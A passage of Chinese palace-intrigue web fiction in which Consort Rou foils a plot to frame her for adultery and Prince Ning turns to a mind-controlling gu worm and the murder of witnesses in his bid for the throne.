德妃惊得失语,惠嫔亦满脸愕然。 赵昭仪则是低下头,掩饰自己眸底的情绪。 第426章 将朕置于何地? “好!好!好!” 德丰帝连说了三个好,每一个都说得分外用力。 这时,冯有才已经把那箱笼寻到。 玉兰指认,“没错。就是这个箱笼!里面有一把匕首,上面还刻着镇西将军的名字,是他们二人的定情之物!” 她说得信誓旦旦,好似自己亲眼所见一般。 德丰帝面沉如水,冷声下令。 “打开!” 冯有才心中忐忑,但亦不敢违逆,亲手将那箱笼打开。 所有人的目光都落在那箱笼上。 待看清里面的东西,大家的表情都凝固了一瞬。 玉兰脸上那笃定的表情裂开了,转而变成了惊愕。 那里面装着的的确是旧物,但却并非是所谓定亲之物,而是孩童的襁褓和从小到大的玩具——这俨然是萧晏辞幼时的玩具。 最上面放着的,是一个拨浪鼓,上面留着几道歪歪扭扭的乌黑墨迹,还几个不明显的牙印。 德丰帝一下认了出来。 这个拨浪鼓的鼓面,是他亲手绘制的图案,让工部量身打造的。 等着看好戏的赵昭仪,脸上的那抹笑瞬间凝固。 惠嫔嘴角那抹弧度也霎时僵住了。 玉兰呆住,完全不敢相信眼前的一切。 她慌慌张张地道:“定,定是在其他箱笼!是奴婢记错了……” 锦瑟恨声道,“便是把这夕颜殿上下都翻个遍,也找不到你口中所谓的定情信物!娘娘清清白白,容不得你这吃里扒外的小人这般污蔑!” 德丰帝看向玉兰,玉兰的身子狠狠瑟缩了一下,旋即,一股寒意从脚底往上蹿。 她终于后知后觉地感到了害怕。 但现在才知道怕,太迟了。 德丰帝冷声,“拖下去,交给龙鳞卫审问。” 究竟是谁在背后指使,让她当着自己的面说这番话? 玉兰双腿发软,彻底慌了。 她高声大喊,“皇上,奴婢所言句句属实,那些书信是真的啊!娘娘时常拿着那些书信,对镜垂泪,分明是对那奸夫念念不忘。他们二人背着您早有苟且,只怕连瑾王殿下的血统都值得怀疑!” 德丰帝手背上的青筋再次冒起,眸中的愤怒满到了极致。 “审讯过后,拔舌!” 玉兰听了这话,瞬间瘫软下去,下身很快蔓起一滩酸臭濡湿。 殿内的气氛沉闷到了极致。 半晌,德丰帝终于开了口。 “既然这夕颜殿闹鬼,便把柔贵妃搬到琼华殿养病吧。” 这话一出,众人再次愕然。 琼华殿是紧挨着皇上的养心殿的一处宫殿,冬暖夏凉,是皇上的居所,只有宫妃承宠的时候,才有机会住进去,但大多数也都不过夜。 而今,皇上竟让柔贵妃搬到琼华殿去。 这哪里是责罚,分明是恩赏。 众人都懵了。 柔贵妃都给皇上戴了那么一顶大绿帽,皇上怎么反而没有责罚,还给她这般体面? 赵昭仪脸色骤变。 这个结果完全出乎预料。 怎会如此? 眼见此事就要这般草草收场,她终于按捺不住开了口。 “皇上,那这些书信,该如何处置?” 德丰帝看向她,眼神意味不明。 “昭仪觉得该如何处置?” 赵昭仪低着头,一副怯懦模样,“依臣妾拙见,这些书信是柔贵妃秽乱宫闱的罪证,也关涉到皇上的名声和瑾王的声誉,合该尽数烧毁,不能再留。” 她精心设计了这么一个局,可不是为了让柔贵妃搬去琼华殿的! 即便皇上的态度有些奇怪,她还是决定赌一把,再提醒皇上柔贵妃的秽乱之举。 惠嫔也开了口,“昭仪说得对。皇上您顾念旧情,要轻饶了柔贵妃,但那奸夫也应当查出来,大卸八块都不为过。” “住嘴!”德丰帝怒喝,又抡起桌上的茶盏狠狠一摔,直接砸在了两人的脚边,吓得两人花容失色。 德妃立马带头跪下,吓懵了的赵昭仪和惠嫔也跟着跪了下来,殿内的所有人亦都跪了下来。 “皇上息怒。” 德丰帝呼吸急促,因为愤怒,脸色涨得通红。 “你们好大的胆子,事情尚未弄清楚,就敢给人扣帽子!柔贵妃的清誉岂容你们污蔑?” “这些书信,是朕写给柔贵妃的,这些物件,也是朕所赠!你们一口一个奸夫,将朕置于何地?” 这话有如石破天惊,将在场所有人都砸懵了。 赵昭仪脑子嗡嗡的,脱口而出,“这怎么可能?” 德丰帝冷冷扫向她,“怎么,赵昭仪,你是连朕的话都敢质疑?” 赵昭仪脑子已经彻底乱了,说话也磕磕绊绊。 “臣,臣妾,臣妾只是太惊讶了……” 明明不该是这样的。 皇上怎会给她写那样的信? 德妃也很震惊,这时她才慢慢想起来,难怪她方才看那字迹觉得隐隐有些熟悉。 原来,那是德丰帝年轻时候的字迹。 当年,柔贵妃刚入宫,正得盛宠,恰逢边疆遇到战事,德丰帝御驾亲征,这些书信便是那时所写。 书信中,没有提及半句朝堂与战事,只述分隔两地的思念,便似寻常的小两口一般。 这些书信上已有十余年,字迹已然模糊不清,巧的是,诸如“朕”“爱妃”之类的字样,全都看不清了,只余满页黏腻的情话,落在方才的情形之下,自然成了柔贵妃与人私通的铁证。 这一切都是巧合吗? 定然不是。 有心人想趁着瑾王和滇南府深陷风波之际,再给柔贵妃致命一击,但谁料,道高一尺魔高一丈,柔贵妃看似柔弱,却也不是随意任人拿捏的软柿子。 这些书信,还有那箱笼里的旧物,便是她的反击。 她们方才一口一个奸夫,还要将奸夫大卸八块,全都化作了一记记耳光,狠狠地打在德丰帝的脸上。 德妃暗自后悔,自己这一趟实在是不该来,平白蹚了一遭浑水,得罪了柔贵妃不说,还惹了皇上不快。 但事已至此,她也不得不认下此事。 “皇上,此事是臣妾之过,是臣妾未曾好好甄别,连皇上的墨宝都没认出,更误会了柔贵妃,臣妾该死!” 连德妃都认错了,赵昭仪和惠嫔自然不敢迟疑,也跟着认错。 第427章 不够了解皇上 德丰帝目光冷冷地在她们的身上扫过,带着一股沉沉的威严。 “德妃,朕素来倚重你,但今日之事,你委实让朕很失望。” 德妃的头垂得更低,“臣妾惭愧。” “夕颜殿何故闹鬼?此事,给朕查清楚!朕虽然老了,但还没死!敢在朕的眼皮子底下装神弄鬼,朕决不轻饶!” 这番敲打十分严厉,狠狠砸在几人的心头。 赵昭仪身子发颤,心中满是懊恼。 早知如此,她们就不该贸然行动。 只盼着此事莫要影响到临儿的计划才好。 就在这时,德妃方才派去搜查宫殿的宫人回来了。 “皇上,娘娘,奴婢在一个丫鬟的住所发现了此物……” 众人看到那托盘里摆着的东西,面色骤然变了。 那赫然是两个木头做的娃娃! 上面扎满了针,一个写着柔贵妃的生辰八字,另一个,则是萧晏辞的! 德丰帝面色顿时变得分外阴沉。 “真是岂有此理!何人如此胆大包天,竟敢在宫中行巫蛊之术!” “回皇上,这东西,是从方才那名唤玉兰的丫鬟房中搜出来的。” 德丰帝连声说了三个好,一个小小的丫鬟,胆敢如此谋害主子?显然不可能。 “查!务必给朕彻查到底!” 转而又看向惠嫔和赵昭仪。 “你们二人,不修口德,自行掌嘴二十!” 二人的脸色变得十分难看,但这是皇上的旨意,她们自然不敢违抗,只能艰难地扬手,开始自扇耳光。 二十下耳光,不算多,但也不算少,两人又不敢打得太轻,很快脸颊就肿了起来,嘴角也有血渍渗出。 待她们打完了,德丰帝又淡淡开口。 “这段时间,你们便在自己的宫中好好禁足反省吧。” 至于反省的时限,他并没有说。 可以是一个月,也可以是一年,甚至更久。 二人都面容灰败。 尤其是赵昭仪,她只觉得头晕目眩,好似天塌了。 她在这个关头被禁足,外人会如何猜测?临儿原本的计划,定然会受到影响。 德丰帝只罚了惠嫔和赵昭仪,对于德妃,他到底给了几分颜面,毕竟是跟了自己几十年的老人。 德妃虽没受到责罚,但同样觉得面上无光。 “臣妾定彻查此事,还柔贵妃一个清白公道,以弥补今日之过错。” 德丰帝淡淡应了一声。 这时候,寝殿内传来了一阵虚弱的咳嗽声。 柔贵妃醒了。 德丰帝再顾不上其他,立马抬步入内。 柔贵妃消瘦苍白,但底子还在,整个人带着股我见犹怜的娇柔之美。 见到德丰帝,柔贵妃挣扎着从床上坐起来,却虚弱地再次栽倒。 德丰帝怜惜地轻握她的手,“爱妃,你莫要起身,好好休息便是。” 柔贵妃看着德丰帝,眼中瞬间有泪簌簌滚落。 “皇上,您终于肯来见臣妾了。” 美人垂泪,梨花带雨,再想到她方才所受的委屈,德丰帝的心便软了。 “先前是朕不对,冷落了你。你这宫殿不干净,从今日起,你便搬到琼华殿去。” 柔贵妃露出又惊又喜的神色,同时又有点难以置信。 “皇上,臣妾何德何能?” 德丰帝用力握着她的手,“朕说你可以,你便可以。” 柔贵妃满脸感动,“多谢皇上。” 德丰帝又说了不少宽慰的话,这才离开。 临走前还敲打了一众下人,务必把柔贵妃好好地送到琼华殿,不可有半点差池。 德丰帝没有提起半个字方才的书信风波,柔贵妃也似完全没有听到。 德丰帝一走,柔贵妃便虚脱地重新躺了回去。 她的病是真的。 此刻浑身绵软无力,后背也是一片虚汗。 锦瑟上前伺候,柔贵妃看着她额头磕出的血窟窿,眼底露出心疼。 “让你受委屈了。” 锦瑟声音哽咽,“奴婢受的这点委屈算不得什么,真正受苦的是您。” 柔贵妃朝她露出一抹虚弱的笑,“我受了这番苦,换来了搬到琼华殿的优待,也让那两人挨了耳光,受了禁足,值了。” 最重要的是,她还埋下了暗线,那巫蛊娃娃的线索,最终会指向赵昭仪。 赵昭仪一直以来都老实本分,甚至有些怯懦,但这一次,她老实人的面具戴不住了。 挑起德丰帝对他们母子的怀疑,这才是柔贵妃此次计划最大的收获。 只要德丰帝怀疑他们母子,就会派人调查,届时,阿辞和整个滇南府身上的冤屈就能洗清。 这些话都不能说,但主仆二人心里都懂。 锦瑟心中依旧有些不忿,“娘娘,方才您合该亲自开口,把事情闹开,让惠嫔和赵昭仪再多吃些苦头才好。” 当初,惠嫔雪中送炭,锦瑟心中还十分感动。 没曾想,她分明是包藏祸心,那些吃食被动了手脚,柔贵妃吃了之后身体就开始不舒服,之后再受到惊吓,病情自然加重。 柔贵妃被邪祟吓病了,她们才能有理由进行搜查。 锦瑟觉得,惠嫔和赵昭仪的惩罚实在太轻了。 若自家娘娘方才及时醒过来,哭闹一场,她们受的责罚肯定更重些。 柔贵妃摇了摇头,“锦瑟,你还是不够了解皇上。” 锦瑟面露不解,柔贵妃眸色深了几分。 “皇上表面上站在我这边,但实际上,他对我也并未全然信任。” 锦瑟低呼,“难道皇上还怀疑您和……” 柔贵妃面露苦笑,“皇上若不怀疑,又怎会审你?” 那些书信和物件,他必是早就认出来了。 但他却假装没有,反而借势审问锦瑟,想从她的口中问出些内情来。 他心中有了怀疑,就总会想法子去证明。 任何蛛丝马迹,都不会放过。 “可,那些书信,是皇上写给您的,除此之外,没有任何外男的痕迹,皇上应当相信您了才是。” 柔贵妃轻轻摇头,不置可否。 帝王之心胸,有时候宽广如浩海,但有时候也与普通男人并无二致,比那针眼也大不了多少。 “皇上惩处她们,是因为她们言语不敬,大大地冒犯了天颜。但我抓着这件事不放,只怕反而让皇上怀疑此事是我刻意做局。” 眼下这番情形下,柔贵妃将自己摆在弱势的位置,于她而言,是更有利的。 她想要的,也不是她们受这点皮肉之苦。 若能让德丰帝对自己升起怜惜,连带着在对待滇南府之事上他能多留几分情面,这才是柔贵妃真正想看到的结果。 第428章 是药三分毒 只不过是说了这几句话,柔贵妃便虚弱得没了力气。 锦瑟心疼又担忧,“早知如此,当初就不该用这般猛的药。” 柔贵妃笑了笑,“舍不得孩子套不着狼,无需担心,我不会有事的。” 她还没亲眼看到父兄和阿辞安然无事,也没有看到陷害自己的人受到应有的报应,她不会倒下。 离开了夕颜殿,德丰帝周身依旧被一股低压笼罩。 今日之事,有太多蹊跷,禁不起细想。 一细想,他便觉得头晕目眩,气血翻涌。 坐在龙椅上,他忽然捂着心口,一阵喘息,面上也现出痛苦之色。 冯有才赶忙给他拍背顺气,“皇上,您请息怒,还是身子要紧。” 德丰帝摆摆手,“给朕拿一颗药来。” 他所说的药是上次赵书宁入宫诊治时所开,太医院的太医对那药丸研究了一番,并无不妥,他便一直服着。 这段时日以来,他便一直靠着那药撑着。 冯有才却面露担忧,“皇上,是药三分毒……” 对那位医女,冯有才第一眼便觉不喜。 德丰帝语气不容置疑,“给朕拿来。” 冯有才见此,到底不敢再多劝。 德丰帝服了药,身上的不适这才舒缓。 他何尝不知是药三分毒? 那医女给的丹药效果显著,定是虎狼之药。 但他这个岁数,已经顾不上太多了。 他有太多未完之事,不能就此倒下。 这时,龙鳞卫前来回禀,玉兰胆子太小,在受审时看到那些刑具,竟活活吓死了。 龙鳞卫什么都还没开始问,人就咽气了。 这番变故令他们始料未及,不得不第一时间向德丰帝请罪。 “属下办事不力,没有看顾好人质,请皇上降罪!” 德丰帝原本就沉郁的心情更添阴霾。 “废物!” 负责刑讯的龙鳞卫低着头认错,不敢狡辩半个字。 “查一查她生前之事,与谁有往来,都给朕查清楚。” 龙鳞卫立马应是。 正待退下,德丰帝又把人喊住。 “等等。” 德丰帝沉吟了片刻,缓缓开口,“再派人去查一查赵昭仪和惠嫔,包括安王和宁王。” 龙鳞卫领命而去。 冯有才立在一旁,鼻眼观心。 这朝堂的天,当真是风云变幻,令人猝不及防。 不到最后一刻,谁都无法预判结局。 此时的赵昭仪,心情如何阴鸷自不必多说, 云锦宫中,惠嫔也面色阴沉,砸了好几套茶具。 心腹劝她消气,但脸上的火辣提醒着她自己所受的耻辱,再想到往日旧怨,这口气无论如何都咽不下去。 当年,她曾有一次做母亲的机会,但却意外流产了。 事后她追查发现,此事与柔贵妃脱不开干系。 但她没有实证,当时的柔贵妃正受宠,自己根本拿她无可奈何。 她原本把希望寄托在萧晏珩身上,但那病秧子身体实在不争气,根本无缘皇位,惠嫔见到就觉心烦。 原本她对赵昭仪母子也十分看不上,但没想到如今他们母子反倒成了最有造化的人。 赵昭仪在她面前暗示要对柔贵妃下手时,惠嫔想到往日旧怨,就同意了。 赵昭仪口口声声称一切都准备妥当,自己只需让柔贵妃生病,再把德妃请到夕颜殿搜查即可。 但没想到,她们的计划竟然会在最关键的一环出了问题。 她们二人分明是中了柔贵妃的奸计。 惠嫔一边恼恨柔贵妃奸诈,一边暗骂赵昭仪行事不可靠,连累她也受了罚。 前朝和后宫素来不分家。 前朝的局势会影响后宫嫔妃的地位,相反,后宫的风吹草动,也同样会影响前朝的时局。 一夕之间,原本被禁足的柔贵妃竟被皇上接到了琼华殿,更命专人精心伺候。 而惠嫔和赵昭仪却被禁足了,据说还挨了耳光。 至于其中缘由,无人得知。 散朝之后,萧晏临想去见见赵昭仪,也被拦了下来。 “宁王殿下恕罪,皇上吩咐,赵昭仪禁足期间不能见任何人,宁王请回吧,您若有什么话想带给赵昭仪,奴婢可以代劳。” 萧晏临要说的话,自然不能让旁人代劳,他没有说什么,转身走了。 离了宫,他的面色便彻底沉了下去。 他的手狠狠在茶几上捶了一记,立时有血珠冒了出来,他却丝毫察觉不到疼痛。 看来,是上次的计划失败了。 可恶! 他们明明计划得这般周全,为何还会失败? 母妃究竟怎么办事的? 原本他可以把萧晏辞彻底踢出局,让他再没有与自己一争之力,没曾想母妃竟在关键时候掉了链子。 父皇将柔贵妃接到琼华殿,此举又有何深意?他莫不是对萧晏辞又生了恻隐之心? 不行! 萧晏辞必须死。 只有他死了,才能杜绝一切可能。 太子之位也只能是他的,决不能被旁人抢走。 若父皇还犹豫不决,那就不要怪他这个做儿子的不孝了。 萧晏临的眼底闪过一抹杀意。 周卫海传回消息,大军已经抵达澜沧江,桥梁被洪水冲毁,大军无法通行,他们正在想方设法全力搭建桥梁,恢复交通。 他们与滇南军互相喊话,对方态度友好,且一直在积极配合修桥,并未有任何异常之举。 德丰帝看着这封奏折,陷入沉思。 他忽而开口,“孙牧之现在在黔地?” 冯有才忙道:“正是。孙大人上折称,江南的水患已治理得差不多,但黔地百姓受灾严重,他便带人前往黔地了,眼下,黔地的灾情也已经控制了。” 德丰帝缓缓点头,“他是个将才。” 冯有才还在想,皇上突然提起此事是为何,紧接着就听他道:“传朕密令,命孙牧之率兵绕行前往滇南,暗中调查滇南府谋逆之事。若滇南王当真与南越国勾结,将其擒拿归京!” 顿了顿,德丰帝又缓缓补了一句,“倘系奸人构陷,亦当还其清白,以彰朝廷至公之道。” 冯有才躬身道:“皇上英明。” 德丰帝坐在案前,久久不语。 英明吗?人老了,耳聋了,眼盲了,也越发看不清身边人了。 第429章 牵丝蛊 众官员们都在观察着朝中局势,也暗自揣摩着帝王心思,不敢轻易下注。 就在这时,闽南知府上表称,闽南灾后,上下官员开始着手重建事宜。虽有朝廷拨款修筑损毁堤坝,然各地灾祸齐发,朝廷赈灾款不足,幸得闽南各乡绅富商捐资修堤赈灾,又助灾民重建屋舍,使数万生灵得免于难。 其中,宁王外祖赵家捐资百万两,为众乡绅之首。观其善举,实乃陛下仁政感召,亦见宁王教化之功也。 这个消息很快在京城传开,百姓们纷纷议论,满大街都在称赞赵家大义,宁王仁厚。 朝堂上,众官员亦对宁王交口称赞,而赵昭仪禁足之事也被提及,不少朝臣提议,不管赵昭仪犯了什么错,但赵家此次立功不假,何不趁此吉兆解了赵昭仪禁足? 更有朝臣上折请立太子,虽未点名立宁王,但言语间的暗示之意显而易见。 德丰帝将众朝臣的态度尽收眼底。 他顺应民意,将赵昭仪解禁,还派人恩赏一番,以表宽慰嘉奖之意。 在朝堂上,德丰帝亦对宁王大肆嘉奖,言语间十分欣慰倚重。 至于立太子之事,他却按而不表。 萧晏临得了德丰帝的嘉奖,面上满是出风得意,但回了王府,他的面色却越发阴沉。 幕僚见此,心中疑惑。 “王爷,昭仪娘娘已经被解了禁,您也得了皇上嘉奖,局势一片大好,您为何依旧面有不快?” 萧晏临低斥一句,“蠢货,父皇若当真倚重本王,为何迟迟不立太子?外祖家花了上百万两,却只换来了这几句轻飘飘的嘉奖,这算得了什么?” 幕僚被责骂,这才后知后觉地反应过来,自己太过得意忘形了,没能透过表象看到本质。 其中一个幕僚开了口。 “王爷,微臣斗胆直言,赵家捐资修筑堤坝的消息,来得不是时候。先有昭仪娘娘陷害柔贵妃不成反被禁足,皇上对昭仪娘娘,对您,只怕都生了怀疑。” “而今这消息传来,赵家的确立了功不假,但也有些过于出风头了。皇上高兴的时候,也不免会想,赵家随随便便就能拿出上百万两银子,那赵家的家底有多少?王爷您一直以来与世无争的形象,就有些立不住了。” 萧晏临面上阴霾更甚。 这个计划,是此前商定的。 先把柔贵妃和谷栖山的奸情坐实,让萧晏辞背上血统不纯的恶名,皇上对他们母子,必将厌恶至极。 这时候,赵家的善举,就会为萧晏临锦上添花,朝臣们再上折请封太子,一切便会水到渠成。 但事情发生了变故。 赵昭仪那一环出了问题。 萧晏临原本也犹豫,要不要暂时把赵家之事压着,再寻良机。 但一想到萧晏辞没死,他的血统上也再难做文章,萧晏临就心生急躁。 他有些冒进,决定赌一把。 但他赌错了。 他高估了自己这个儿子在德丰帝心中的分量,也低估了萧晏辞的分量。 萧晏临面容阴鸷,“现在才来说这些,早干嘛去了?” 那幕僚辩解,“属下先前便提过,但……” 但是被众人驳回了,王爷也没有采纳。 萧晏临眸色更冷三分,那人只得把后半段话咽了回去。 有那圆滑之人立马开口,“王爷,眼下事情已经办了,再后悔也无用。属下以为,当务之急还是得让赵家那头把不干净的尾巴处理好,万不能让皇上的人查出什么来。” 这提醒说到了点子上。 赵家此次出的风头不小,德丰帝十分有可能派人去调查。 就算德丰帝不查,难保其他人不会查。 赵家那头不能出半点乱子。 他在京城的青楼、赌坊等产业,也不能被查出来。 萧晏临压下心头焦躁,当即与众人商议起后续之事。 将众幕僚送走,萧晏临依旧没有休息。 宁王妃派了丫鬟来请他,却扑了个空。 萧晏临漏夜出府了。 他去了城东别院,那里是赵书宁现在的住处。 赵书宁很快收拾妥当出来相见,萧晏临也不与她兜圈子,直入主题。 “牵丝蛊培育出来了吗?” 赵书宁神色恭敬,“前面几次培育都失败了,我已找到了问题所在,此次定能成功,只是还需要一些时日。” 萧晏临不耐烦,“还需要多久?” “半个月。” “太长了,七日,本王只给你七日时间,你必须把牵丝蛊培育出来。” 萧晏临的话不容置疑,赵书宁不再多说什么,只道了句“是。” 萧晏临长吐一口气,转而换了一副和缓的态度。 “并非本王要逼迫于你,而是眼下情况有了变故,本王不得不抓紧时间。” 赵书宁眉峰微动,对于外面发生之事她也都知道,他动用牵丝蛊,是做好了最坏的打算。 所谓牵丝蛊,顾名思义,中了此蛊之人,便如同提线傀儡一般,只能被人操控。 萧晏临是要把此蛊用在德丰帝的身上。 此蛊十分难得,培育难度也非比寻常,赵书宁照着手札研究,刚刚才摸清楚门道。 究竟能不能成功,赵书宁也不能保证。 但她会竭力一试。 此蛊成了,萧晏临的登顶之路能成功大半,赵书宁也能跟着受益。 此乃皆大欢喜之事,她不仅是为了萧晏临,更是为了自己。 而且她也知道,萧晏临不会养无用之人。 她若培育不出牵丝蛊,萧晏临也会厌弃她,不会保她。 之后的几日,赵书宁便把自己关了起来,专心培育蛊虫,有人登门求医,也被她拒之门外。 萧晏临也没有再去找她。 他也慢慢将心中急躁压下,日日兢兢业业地上朝,便如往常那般。 但萧晏临没想到,风波会来得如此快。 这一日,漏夜时分,萧晏临本已宽衣解带,正要与宁王妃温存一番,门外不合时宜地传来敲门声。 “王爷,有急事。” 萧晏临的眉头微蹙,心底生出被扫了兴的不悦。 “何事?” “是赵家之事。” 萧晏临心头一跳,一股不好的预感爬上心头。 他再没了其他心思,起身披衣便往外走,独留宁王妃一脸幽怨。 第430章 等不了了 到了书房,萧晏临见到了一个风尘仆仆的人,那人他认识,是赵家的管事赵赫,是外祖父的心腹。 外祖父把他派来传话,说明此次的事情怕是不小! 赵赫扑通跪地,语气急切地开口,“王爷,出事了!京中有人调查赵家的底细,我等一时疏忽,竟叫对方把账册偷走了!还,还劫走了好几个办事的人……” 萧晏临噌地一下站了起来,原本白净斯文的面容也扭曲变形,染上怒意。 “蠢货!这么要紧的东西都能被偷,你们是怎么办事的?” 赵赫冷汗涔涔,只能不停告饶。 “王爷,此事是我等疏忽大意,但当务之急,还是要想方设法弥补。那些人证物证,可万不能送到皇上跟前啊。若皇上知晓,那不仅小的这些人都要死无全尸,便是王爷您也……” 萧晏临大手在桌上重重一拍,把赵赫后半段话给吓了回去。 他额上的青筋突突直跳,因为愤怒,面容扭曲变形。 他逼自己冷静下来,开始询问细节。 “对方是什么人?你们是否有所猜测?” 赵赫当即道:“属下认出其中一人,他是恒瑞商行的人!” 恒瑞商行? 赵赫向萧晏临介绍恒瑞商行的发家史,萧晏临眉头蹙得能夹死苍蝇。 “他的商行,与瑾王妃的太仓商行可有往来?” 赵赫并不知此事,但他却说得十分笃定。 “定然有!小的推断,此事与瑾王妃脱不开干系。” 萧晏临的手握得咯咯作响。 那个女人,果然不好对付! 萧晏辞只是运气好,娶了这个女人。 若没有瑾王妃,萧晏辞他什么都不是! “王爷,眼下该怎么办啊?老爷子遣小的前来,便是让小的向您讨个主意。” 萧晏临深吸了一口气,“告诉外祖父,把该处理的人都处理了,那些行当全都停了,把尾巴处理干净。若京中再有人去调查,决不能再出乱子!” “是,是。” “你们把此事料理了,其余事,交给本王,本王不会让赵家出事。” 赵赫忙不迭点头。 打发了赵赫,萧晏临又出了门。 赵书宁的院门再次被敲响了。 她依旧在闭关,萧晏临的到来让她打破了闭关。 接连的熬夜让她看上去染上几分憔悴,但萧晏临的状态更让她感到惊讶。 她知道,肯定出了什么意外变故,且这个变故还不小。 萧晏临一开口便道:“牵丝蛊培育出来了吗?本王现在就要!” 他的语气中带着明显的急躁。 “殿下,可是出了什么事?” 萧晏临语气不善,“你不需要知道,只需要回答本王的问题,牵丝蛊培育出来了没有?” 赵书宁面露迟疑,“培育出来了,只是……” 萧晏临眼睛一亮,直接把她的话打断,“真的培育出来了?” 赵书宁点头,将她的未尽之言道出 “培育出来了,但我还没来得及试验,不知是否有效,殿下,若您两日之后再来……” 今天距离当初的七日时限还差两天。 萧晏临却根本等不了了。 “不行,本王今夜必须把蛊虫带走。” 赵家的事情迫在眉睫。 赵赫赶回京的时候,对方也在赶回京,说不定对方还会先赵赫一步入京。 两天的时间,可能发生很多事。 或许,就因为迟了两天,事情被捅了出去。 那他这么多年的蛰伏和筹谋,就都白费了。 赵书宁看出萧晏临的焦躁,这样的状态让赵书宁觉得很危险。 人越是急,就越容易犯错。 而有些错不能犯,一旦行差踏错,就万劫不复。 赵书宁的身家性命,全系在此人身上,她不得不谨慎。 她再次开口,“殿下,我不知道发生了何事,也无权干涉您的决定,但请您先听我把话说完。” 萧晏临眼神示意她继续。 赵书宁道:“这是我第一次成功培育出牵丝蛊,此蛊刚刚孵化出来,不知能否存活,若此时殿下就急着用,蛊虫有可能生效,但也可能夭折,化作一滩血水便没了。殿下您敢赌吗?” 萧晏临的神情一震。 若这蛊虫夭折,德丰帝便不会中蛊,他的计划就失败了。 萧晏临脑中飞快地闪过诸多可能,最后,他眼底闪过一抹杀意。 “若牵丝蛊失效,便是天命如此。父皇这把年纪,也该寿终正寝了。” 赵书宁立马明白了他的言外之意。 若牵丝蛊失效,他就会弑君,直接登基。 坐上了那个至高无上的位置,赵家之事,便不再是威胁。 萧晏辞再从滇南杀回来,就成了真正的谋逆之军。 只是这样做风险不小,一旦失手,同样是万劫不复。 但眼下刀悬在了头顶上,他也顾不得这么许多了。 而此时,谷栖山也收到了赵家的消息。 那册子上所述罪状,桩桩件件,全是实情。 谷栖山听着手下的汇报,脸色一片铁青。 这时,瑾王府那头派人送来了另一则消息。 “赵家和闽南的官员一直在与外商兑换白银。倭国一两黄金换十两白银,红毛夷人一两黄金能换十三两白银。而大齐朝眼下一两黄金换六两白银。” 谷栖山并非经商之人,听了这个消息一时没有反应过来。 那传话之人又细细解释一番,“大齐的银矿稀缺,白银价高,是以一两黄金只能换六两白银。而倭国和红毛夷国的白银产量高,大量白银涌入大齐,虽解了大齐的白银短缺之苦,但此等不正常的套利手段,不仅让大齐朝的大量黄金被套走,也让大齐朝的白银急剧增多,物价引起恶劣的膨胀。” 这么一番解释,谷栖山便听明白了,他的脸色立马沉了下去。 这些朝廷的蛀虫,这是要掏空大齐的根基! “此等蛀虫不除,大齐的根基迟早要毁于一旦!” “将军,咱们已经有了物证,人证也安置在了城外,明日城门一开就能带进城。” 谷栖山点头,“明日便把证人送进城,务必要保证人证的安全!” “是!” 明日早朝,他定要当众参赵家一本! 人证物证俱全,他倒要看看,赵家该如何翻身,宁王又要如何为赵家辩解! 第431章 册立太子 翌日早朝之时,谷栖山特意去迟了些,就为了等城门开了之后,第一时间带着人证入宫。 然而,他却先等来了一个坏消息。 今日城门突然开始戒严,声称有滇南探子意图混入城中。 每一个入城之人都要经过一番严格搜查。 赵家的证人被城门守将以形迹可疑为由拦了下来,还要强行扣押。 谷栖山的手下亮出镇西将军的令牌,对方却根本不买账。 “尔等形迹如此可疑,定是滇南细作,这令牌也定是假的,来人,将他们尽数拿下!” 说完便不由分说拔刀相向。 对方本就是奔着除掉证人去的,动起手来半点不含糊。 而那些证人也想趁乱逃走,局势乱作一团。 谷栖山的手下为了自保,抓着重要证人便逃。 如此,更坐实了奸细身份,五城兵马司的人当即打马狂追。 谷栖山收到消息,第一时间赶往城门口,但已经来不及了。 谷栖山知道,这是宁王的手笔,他已经收到了赵家的消息,这才在城门设置关卡,劫杀证人。 谷栖山一边派人前去支援,另一边则当众发作了城门守将。 “那些人是本将军的手下,他们所捉拿的,亦是朝廷要犯,尔等不分青红皂白便拔刀砍人,是受了何人唆使?今日本将军便要入宫告上一状,也讨要个说法!” 宁王既然狗急跳了墙,他便也把事情闹大,到时候双方直接在御前对质! 谷栖山气势汹汹地进宫,此时,早朝已经散了。 谷栖山求见德丰帝,却被告知,今日德丰帝身子不适,许国祯正在为其诊脉,而萧晏临正从旁侍疾。 谷栖山眼皮跳了跳,一股莫名不好的预感攀上心头。 他不肯走,“本将军有要紧事要向皇上回禀,本将军便在此处候着,随时听候皇上传唤。” 他这一等,就等了足足两个时辰。 萧晏临从殿内出来,面上笼着一层忧色。 看到谷栖山时,他露出惊诧,“谷将军还在?” 谷栖山朝他行了一礼,目光无波无澜,“微臣有要事求见皇上。” 萧晏临面露担忧,“谷将军,只怕要让你空等了,父皇身子不适,眼下不能召见,谷将军还是请回吧。” 谷栖山心中不详预感更甚。 “皇上龙体抱恙,微臣心忧如焚,乞请面圣请安,得见圣颜安康,则臣悬心可稍安矣。” 萧晏临似笑非笑地看着他,“谷将军,并非本王不让你面圣,而是父皇不愿见你。” 谷栖山并不相信。 他只担心德丰帝被萧晏临控制了,这才故意阻挠自己面圣。 这时,冯有才从殿内走出来。 他看着谷栖山的面色也带着歉意,“谷将军,您请回吧,皇上眼下真的不欲见您。” “劳烦冯公公再替微臣传一句话,微臣真的有十万火急的要事禀报。” 冯有才面露迟疑。 方才他已经对德丰帝劝说了一番,但德丰帝听到谷栖山的名字便面露不喜,完全不愿见他。 自己再去劝,只怕会适得其反。 殿内传来一道威严的声音,“朕不想见你,你回去吧。” 谷栖山听到德丰帝的声音如常,不似病弱之态,不禁松了口气。 但皇上的态度,又让他心头微沉。 “皇上……” 德丰帝的声音威严,直接打断了他。 “朕的话还不够清楚吗?还是说,你要抗旨?” 谷栖山的面色几番变化,最终,他不得不低头。 “微臣不敢,既皇上身体无碍,微臣便再无所忧,微臣告退。” 他行了一礼,这才转身而去。 身后,一直有一道视线追随着他,有如一条冰冷的蛇。 谷栖山知道,他们双方之间已是图穷匕见,彼此的交锋将不再遮掩。 回到将军府,谷栖山在书房中来回踱步。 他不得不做出了最坏的打算。 谷栖山第一时间唤来心腹,向对方交代了一番。 当晚,事情果然生了变故。 德丰帝突然下了一道圣旨,以私通滇南探子之名将他拿下,还要对将军府进行搜查。 白日时城门口的那场冲突,俨然成了兴师问罪的由头。 谷栖山心头发沉。 果然,自己最担心的事还是发生了。 张权满脸愤怒,“我家将军忠心耿耿,为大齐立下汗马功劳,你们凭什么不分青红皂白,随便抓人?” 那为首的禁军一脸桀骜,“我等奉的是皇命,皇上还会冤枉了你们不成?给我起开,不然你们就是抗旨!” 张权满脸气愤,更觉心寒。 反倒是谷栖山一脸平静。 